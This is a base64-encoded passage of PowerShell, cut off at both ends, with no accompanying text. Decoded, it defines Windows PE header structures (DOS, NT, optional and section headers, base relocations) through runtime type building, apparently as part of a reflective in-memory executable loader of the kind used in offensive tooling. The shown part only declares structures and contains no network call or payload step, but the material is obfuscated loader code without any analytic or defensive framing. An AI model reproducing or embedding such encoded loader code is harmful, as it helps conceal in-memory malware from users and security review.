LlNldE9mZnNldCgxNTIpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdE
ZWJ1ZycsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTYwKSB8
IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQXJjaGl0ZWN0dXJlJywgJElN
QUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgxNjgpIHwgT3V0LU51bGwK
CQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdHbG9iYWxQdHInLCAkSU1BR0VfREFUQV9ESVJF
Q1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE3NikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ1RMU1RhYmxlJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGlj
JykpLlNldE9mZnNldCgxODQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdMb2FkQ29uZmlnVGFibGUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0
T2Zmc2V0KDE5MikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0JvdW5k
SW1wb3J0JywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgyMDAp
IHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdJQVQnLCAkSU1BR0VfREFU
QV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDIwOCkgfCBPdXQtTnVsbAoJCSgkVHlw
ZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlbGF5SW1wb3J0RGVzY3JpcHRvcicsICRJTUFHRV9EQVRB
X0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjE2KSB8IE91dC1OdWxsCgkJKCRUeXBl
QnVpbGRlci5EZWZpbmVGaWVsZCgnQ0xSUnVudGltZUhlYWRlcicsICRJTUFHRV9EQVRBX0RJUkVD
VE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjI0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRl
ci5EZWZpbmVGaWVsZCgnUmVzZXJ2ZWQnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMn
KSkuU2V0T2Zmc2V0KDIzMikgfCBPdXQtTnVsbAoJCSRJTUFHRV9PUFRJT05BTF9IRUFERVI2NCA9
ICRUeXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1l
bWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX09QVElPTkFMX0hFQURFUjY0IC1WYWx1
ZSAkSU1BR0VfT1BUSU9OQUxfSEVBREVSNjQKCgoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQs
IEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgRXhwbGljaXRMYXlvdXQsIFNlYWxlZCwgQmVmb3Jl
RmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lN
QUdFX09QVElPTkFMX0hFQURFUjMyJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwg
MjI0KQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01hZ2ljJywgJE1hZ2ljVHlwZSwgJ1B1
YmxpYycpKS5TZXRPZmZzZXQoMCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmll
bGQoJ01ham9yTGlua2VyVmVyc2lvbicsIFtCeXRlXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMikg
fCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9yTGlua2VyVmVyc2lv
bicsIFtCeXRlXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMykgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1
aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkNvZGUnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRP
ZmZzZXQoNCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZklu
aXRpYWxpemVkRGF0YScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4KSB8IE91dC1O
dWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mVW5pbml0aWFsaXplZERhdGEn
LCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTIpIHwgT3V0LU51bGwKCQkoJFR5cGVC
dWlsZGVyLkRlZmluZUZpZWxkKCdBZGRyZXNzT2ZFbnRyeVBvaW50JywgW1VJbnQzMl0sICdQdWJs
aWMnKSkuU2V0T2Zmc2V0KDE2KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVs
ZCgnQmFzZU9mQ29kZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgyMCkgfCBPdXQt
TnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0Jhc2VPZkRhdGEnLCBbVUludDMyXSwg
J1B1YmxpYycpKS5TZXRPZmZzZXQoMjQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu
ZUZpZWxkKCdJbWFnZUJhc2UnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjgpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTZWN0aW9uQWxpZ25tZW50Jywg
W1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDMyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVp
bGRlci5EZWZpbmVGaWVsZCgnRmlsZUFsaWdubWVudCcsIFtVSW50MzJdLCAnUHVibGljJykpLlNl
dE9mZnNldCgzNikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9y
T3BlcmF0aW5nU3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg0
MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9yT3BlcmF0aW5n
U3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg0MikgfCBPdXQt
TnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9ySW1hZ2VWZXJzaW9uJywgW1VJ
bnQxNl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRl
ci5EZWZpbmVGaWVsZCgnTWlub3JJbWFnZVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5T
ZXRPZmZzZXQoNDYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWpv
clN1YnN5c3RlbVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDgpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNaW5vclN1YnN5c3RlbVZlcnNp
b24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNTApIHwgT3V0LU51bGwKCQkoJFR5
cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdXaW4zMlZlcnNpb25WYWx1ZScsIFtVSW50MzJdLCAnUHVi
bGljJykpLlNldE9mZnNldCg1MikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmll
bGQoJ1NpemVPZkltYWdlJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDU2KSB8IE91
dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mSGVhZGVycycsIFtVSW50
MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg2MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIu
RGVmaW5lRmllbGQoJ0NoZWNrU3VtJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDY0
KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU3Vic3lzdGVtJywgJFN1
YlN5c3RlbVR5cGUsICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDY4KSB8IE91dC1OdWxsCgkJKCRUeXBl
QnVpbGRlci5EZWZpbmVGaWVsZCgnRGxsQ2hhcmFjdGVyaXN0aWNzJywgJERsbENoYXJhY3Rlcmlz
dGljc1R5cGUsICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDcwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVp
bGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mU3RhY2tSZXNlcnZlJywgW1VJbnQzMl0sICdQdWJsaWMn
KSkuU2V0T2Zmc2V0KDcyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgn
U2l6ZU9mU3RhY2tDb21taXQnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNzYpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZIZWFwUmVzZXJ2ZScs
IFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1
aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkhlYXBDb21taXQnLCBbVUludDMyXSwgJ1B1YmxpYycp
KS5TZXRPZmZzZXQoODQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdM
b2FkZXJGbGFncycsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4OCkgfCBPdXQtTnVs
bAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ051bWJlck9mUnZhQW5kU2l6ZXMnLCBbVUlu
dDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoOTIpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVy
LkRlZmluZUZpZWxkKCdFeHBvcnRUYWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1Ymxp
YycpKS5TZXRPZmZzZXQoOTYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdJbXBvcnRUYWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZz
ZXQoMTA0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUmVzb3VyY2VU
YWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTEyKSB8
IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnRXhjZXB0aW9uVGFibGUnLCAk
SU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyMCkgfCBPdXQtTnVs
bAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0NlcnRpZmljYXRlVGFibGUnLCAkSU1BR0Vf
REFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyOCkgfCBPdXQtTnVsbAoJCSgk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0Jhc2VSZWxvY2F0aW9uVGFibGUnLCAkSU1BR0VfREFU
QV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEzNikgfCBPdXQtTnVsbAoJCSgkVHlw
ZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlYnVnJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVi
bGljJykpLlNldE9mZnNldCgxNDQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZp
ZWxkKCdBcmNoaXRlY3R1cmUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0
T2Zmc2V0KDE1MikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0dsb2Jh
bFB0cicsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTYwKSB8
IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnVExTVGFibGUnLCAkSU1BR0Vf
REFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE2OCkgfCBPdXQtTnVsbAoJCSgk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0xvYWRDb25maWdUYWJsZScsICRJTUFHRV9EQVRBX0RJ
UkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTc2KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVp
bGRlci5EZWZpbmVGaWVsZCgnQm91bmRJbXBvcnQnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQ
dWJsaWMnKSkuU2V0T2Zmc2V0KDE4NCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5l
RmllbGQoJ0lBVCcsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQo
MTkyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnRGVsYXlJbXBvcnRE
ZXNjcmlwdG9yJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgy
MDApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDTFJSdW50aW1lSGVh
ZGVyJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgyMDgpIHwg
T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdSZXNlcnZlZCcsICRJTUFHRV9E
QVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjE2KSB8IE91dC1OdWxsCgkJJElN
QUdFX09QVElPTkFMX0hFQURFUjMyID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4z
MlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0Vf
T1BUSU9OQUxfSEVBREVSMzIgLVZhbHVlICRJTUFHRV9PUFRJT05BTF9IRUFERVIzMgoKCgkJJEF0
dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBTZXF1ZW50
aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxkZXIgPSAkTW9k
dWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9OVF9IRUFERVJTNjQnLCAkQXR0cmlidXRlcywg
W1N5c3RlbS5WYWx1ZVR5cGVdLCAyNjQpCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaWdu
YXR1cmUnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVm
aW5lRmllbGQoJ0ZpbGVIZWFkZXInLCAkSU1BR0VfRklMRV9IRUFERVIsICdQdWJsaWMnKSB8IE91
dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdPcHRpb25hbEhlYWRlcicsICRJTUFH
RV9PUFRJT05BTF9IRUFERVI2NCwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkSU1BR0VfTlRfSEVB
REVSUzY0ID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1l
bWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfTlRfSEVBREVSUzY0IC1W
YWx1ZSAkSU1BR0VfTlRfSEVBREVSUzY0CgkJCgoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQs
IEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExheW91dCwgU2VhbGVkLCBCZWZv
cmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgn
SU1BR0VfTlRfSEVBREVSUzMyJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjQ4
KQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2lnbmF0dXJlJywgW1VJbnQzMl0sICdQdWJs
aWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdGaWxlSGVhZGVyJywg
JElNQUdFX0ZJTEVfSEVBREVSLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnT3B0aW9uYWxIZWFkZXInLCAkSU1BR0VfT1BUSU9OQUxfSEVBREVSMzIsICdQ
dWJsaWMnKSB8IE91dC1OdWxsCgkJJElNQUdFX05UX0hFQURFUlMzMiA9ICRUeXBlQnVpbGRlci5D
cmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIElNQUdFX05UX0hFQURFUlMzMiAtVmFsdWUgJElNQUdFX05UX0hFQURFUlMz
MgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGlj
LCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxk
ZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9ET1NfSEVBREVSJywgJEF0dHJp
YnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgNjQpCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdlX21hZ2ljJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVy
LkRlZmluZUZpZWxkKCdlX2NibHAnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkk
VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfY3AnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0
LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfY3JsYycsIFtVSW50MTZdLCAnUHVi
bGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9jcGFyaGRyJywg
W1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdlX21pbmFsbG9jJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWls
ZGVyLkRlZmluZUZpZWxkKCdlX21heGFsbG9jJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1O
dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3NzJywgW1VJbnQxNl0sICdQdWJsaWMn
KSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3NwJywgW1VJbnQxNl0s
ICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX2NzdW0n
LCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmll
bGQoJ2VfaXAnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIu
RGVmaW5lRmllbGQoJ2VfY3MnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlw
ZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfbGZhcmxjJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91
dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX292bm8nLCBbVUludDE2XSwgJ1B1
YmxpYycpIHwgT3V0LU51bGwKCgkJJGVfcmVzRmllbGQgPSAkVHlwZUJ1aWxkZXIuRGVmaW5lRmll
bGQoJ2VfcmVzJywgW1VJbnQxNltdXSwgJ1B1YmxpYywgSGFzRmllbGRNYXJzaGFsJykKCQkkQ29u
c3RydWN0b3JWYWx1ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuVW5tYW5hZ2Vk
VHlwZV06OkJ5VmFsQXJyYXkKCQkkRmllbGRBcnJheSA9IEAoW1N5c3RlbS5SdW50aW1lLkludGVy
b3BTZXJ2aWNlcy5NYXJzaGFsQXNBdHRyaWJ1dGVdLkdldEZpZWxkKCdTaXplQ29uc3QnKSkKCQkk
QXR0cmliQnVpbGRlciA9IE5ldy1PYmplY3QgU3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5DdXN0b21B
dHRyaWJ1dGVCdWlsZGVyKCRDb25zdHJ1Y3RvckluZm8sICRDb25zdHJ1Y3RvclZhbHVlLCAkRmll
bGRBcnJheSwgQChbSW50MzJdIDQpKQoJCSRlX3Jlc0ZpZWxkLlNldEN1c3RvbUF0dHJpYnV0ZSgk
QXR0cmliQnVpbGRlcikKCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX29lbWlkJywgW1VJ
bnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdl
X29lbWluZm8nLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCgkJJGVfcmVzMkZpZWxk
ID0gJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3JlczInLCBbVUludDE2W11dLCAnUHVibGlj
LCBIYXNGaWVsZE1hcnNoYWwnKQoJCSRDb25zdHJ1Y3RvclZhbHVlID0gW1N5c3RlbS5SdW50aW1l
LkludGVyb3BTZXJ2aWNlcy5Vbm1hbmFnZWRUeXBlXTo6QnlWYWxBcnJheQoJCSRBdHRyaWJCdWls
ZGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkN1c3RvbUF0dHJpYnV0ZUJ1
aWxkZXIoJENvbnN0cnVjdG9ySW5mbywgJENvbnN0cnVjdG9yVmFsdWUsICRGaWVsZEFycmF5LCBA
KFtJbnQzMl0gMTApKQoJCSRlX3JlczJGaWVsZC5TZXRDdXN0b21BdHRyaWJ1dGUoJEF0dHJpYkJ1
aWxkZXIpCgoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9sZmFuZXcnLCBbSW50MzJdLCAn
UHVibGljJykgfCBPdXQtTnVsbAoJCSRJTUFHRV9ET1NfSEVBREVSID0gJFR5cGVCdWlsZGVyLkNy
ZWF0ZVR5cGUoKQkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy
b3BlcnR5IC1OYW1lIElNQUdFX0RPU19IRUFERVIgLVZhbHVlICRJTUFHRV9ET1NfSEVBREVSCgoK
CQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNl
cXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9
ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX1NFQ1RJT05fSEVBREVSJywgJEF0dHJp
YnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgNDApCgoJCSRuYW1lRmllbGQgPSAkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ05hbWUnLCBbQ2hhcltdXSwgJ1B1YmxpYywgSGFzRmllbGRNYXJzaGFs
JykKCQkkQ29uc3RydWN0b3JWYWx1ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMu
VW5tYW5hZ2VkVHlwZV06OkJ5VmFsQXJyYXkKCQkkQXR0cmliQnVpbGRlciA9IE5ldy1PYmplY3Qg
U3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5DdXN0b21BdHRyaWJ1dGVCdWlsZGVyKCRDb25zdHJ1Y3Rv
ckluZm8sICRDb25zdHJ1Y3RvclZhbHVlLCAkRmllbGRBcnJheSwgQChbSW50MzJdIDgpKQoJCSRu
YW1lRmllbGQuU2V0Q3VzdG9tQXR0cmlidXRlKCRBdHRyaWJCdWlsZGVyKQoKCQkkVHlwZUJ1aWxk
ZXIuRGVmaW5lRmllbGQoJ1ZpcnR1YWxTaXplJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1O
dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdWaXJ0dWFsQWRkcmVzcycsIFtVSW50MzJd
LCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9m
UmF3RGF0YScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E
ZWZpbmVGaWVsZCgnUG9pbnRlclRvUmF3RGF0YScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQt
TnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUG9pbnRlclRvUmVsb2NhdGlvbnMnLCBb
VUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQo
J1BvaW50ZXJUb0xpbmVudW1iZXJzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJ
JFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJPZlJlbG9jYXRpb25zJywgW1VJbnQxNl0s
ICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJP
ZkxpbmVudW1iZXJzJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWls
ZGVyLkRlZmluZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwg
T3V0LU51bGwKCQkkSU1BR0VfU0VDVElPTl9IRUFERVIgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlw
ZSgpCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAt
TmFtZSBJTUFHRV9TRUNUSU9OX0hFQURFUiAtVmFsdWUgJElNQUdFX1NFQ1RJT05fSEVBREVSCgoK
CQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNl
cXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9
ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0JBU0VfUkVMT0NBVElPTicsICRBdHRy
aWJ1dGVzLCBbU3lzdGVtLlZhbHVlVHlwZV0sIDgpCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk
KCdWaXJ0dWFsQWRkcmVzcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBl
QnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mQmxvY2snLCBbVUludDMyXSwgJ1B1YmxpYycpIHwg
T3V0LU51bGwKCQkkSU1BR0VfQkFTRV9SRUxPQ0FUSU9OID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5
